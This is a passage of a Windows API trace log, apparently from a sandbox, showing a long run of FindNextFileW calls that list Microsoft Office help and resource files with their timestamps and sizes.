ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_F_COL.HXK", cAlternateFileName="GROOVE~1.HXK")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_K_COL.HXK", cAlternateFileName="GROOVE~2.HXK")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x30ca74c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x30ca74c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x30ca74c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.VSL", cAlternateFileName="")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDIFF.VRD", cAlternateFileName="")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDUCT.VRD", cAlternateFileName="")) returned 1 [0278.015] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf06cb6d8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf06cb6d8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf06cb6d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3648, dwReserved0=0x0, dwReserved1=0x0, cFileName="IFDPINTL.DLL", cAlternateFileName="")) returned 1 [0278.015] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="INSTLIST.VRD", cAlternateFileName="")) returned 1 [0278.015] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVENTRY.VRD", cAlternateFileName="")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Invite or Link.one", cAlternateFileName="INVITE~1.ONE")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="JADE.CSS", cAlternateFileName="")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b5ed86, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3b5ed86, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3b5ed86, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xb6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.VSL", cAlternateFileName="")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC.HXS", cAlternateFileName="")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdd36584, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf4c298e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x522a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncDesktopResources.dll", cAlternateFileName="LYNCDE~1.DLL")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC.HXS", cAlternateFileName="LYNC_B~1.HXS")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_COL.HXC", cAlternateFileName="LYNC_B~1.HXC")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_COL.HXT", cAlternateFileName="LYNC_B~1.HXT")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_F_COL.HXK", cAlternateFileName="LYNC_B~2.HXK")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_K_COL.HXK", cAlternateFileName="LYNC_B~1.HXK")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_COL.HXC", cAlternateFileName="")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_COL.HXT", cAlternateFileName="")) returned 1 [0278.016] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_F_COL.HXK", cAlternateFileName="LYNC_F~1.HXK")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_K_COL.HXK", cAlternateFileName="LYNC_K~1.HXK")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22756, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE.HXS", cAlternateFileName="LYNC_O~1.HXS")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_COL.HXC", cAlternateFileName="LYNC_O~1.HXC")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_COL.HXT", cAlternateFileName="LYNC_O~1.HXT")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_F_COL.HXK", cAlternateFileName="LYNC_O~2.HXK")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_K_COL.HXK", cAlternateFileName="LYNC_O~1.HXK")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb60697b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x136a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL", cAlternateFileName="")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb8dc6bb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb8dc6bb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeba33b90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec51479d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec51479d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ce48, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.DLL", cAlternateFileName="")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x468bdf3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x468bdf3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x468bdf3, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x58c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOVE.VRD", cAlternateFileName="")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3d4ec4f, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3d4ec4f, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3d4ec4f, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXRES.DLL", cAlternateFileName="")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4297c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.HXS", cAlternateFileName="")) returned 1 [0278.017] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXC", cAlternateFileName="MSACCE~1.HXC")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXT", cAlternateFileName="MSACCE~1.HXT")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_F_COL.HXK", cAlternateFileName="MSACCE~2.HXK")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_K_COL.HXK", cAlternateFileName="MSACCE~1.HXK")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee75a612, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x143c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAIN.DLL", cAlternateFileName="")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf10a1263, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6078, dwReserved0=0x0, dwReserved1=0x0, cFileName="msotdintl.dll", cAlternateFileName="MSOTDI~1.DLL")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef93c032, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef93c032, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef93c032, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msotelemetryintl.dll", cAlternateFileName="MSOTEL~1.DLL")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.HXS", cAlternateFileName="")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXC", cAlternateFileName="MSOUC_~1.HXC")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXT", cAlternateFileName="MSOUC_~1.HXT")) returned 1 [0278.018] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_F_COL.HXK", cAlternateFileName="MSOUC_~2.HXK")) returned 1 [0278.019] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_K_COL.HXK", cAlternateFileName="MSOUC_~1.HXK")) returned 1 [0278.019] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, 